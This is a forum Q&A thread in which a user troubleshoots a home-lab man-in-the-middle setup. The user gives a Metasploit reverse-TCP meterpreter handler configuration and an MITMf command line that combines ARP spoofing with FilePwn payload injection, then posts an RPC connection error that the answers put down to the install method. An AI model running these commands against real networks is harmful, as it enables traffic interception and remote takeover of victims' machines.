I am attempting to inject malicious payload into http request. I own a personal lamp server, a Kali VM and a the most WindowsXP VM imaginable. and everything is on my network and legal. I have been following this tutorial.


I ran metasploit with the following

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 8843
exploit -j

When watching the video, Metasploit says

[*] Starting the payload handler...

On my end, it starts by saying that, then brings me back to the console. Odd, but whatever I guess.

Now I am trying to run mitmf in a different terminal window

sudo ./mitmf.py --spoof --arp -i eth0 --gateway --target --filepwn

Now this is the error message I am receiving from mitmf.

    [*] MITMf v0.9.8 - 'The Dark Side'
|_ Net-Creds v1.0 online
|_ Spoof v0.6
|  |_ ARP spoofing enabled
|_ FilePwn v0.3
|  |_ BDFProxy v0.3.2 online
2018-07-17 02:23:27 [ARPpoisoner] Restoring connection <-> with 2 packets per host
[Msfrpc] Error connecting to Metasploit: HTTPConnectionPool(host='', port=55552): Max retries exceeded with url: /api/ (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fd9b7772290>: Failed to establish a new connection: [Errno 111] Connection refused',))

I did some googling and I found this thread.


I followed his 2 command instructions instructions and started the whole process over again with no luck. I even tried changing the LPORT to 55552 but that failed as well. I am not an expert with Metasploit so I wouldn't even begin to know what to look for. How can I further troubleshoot this?

  • from the error message, mitmf timesout when connecting to the service on that port, which is not surprising if msf isn't running a handler on that port
    – schroeder
    Commented Jul 17, 2018 at 8:19
  • Are you suggesting I change LPORTS? I have changed them to both 55552 and 8843. In either case, the problem was that the installation instructions failed where as an apt-get install worked.
    – user21303
    Commented Jul 17, 2018 at 8:22

1 Answer 1


If you are using Kali Linux, resolve this by using the following command to install MITMf

apt-get install mitmf

Even if the original instructions provided by the software author work as expected with no errors, they are still tragically awful.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .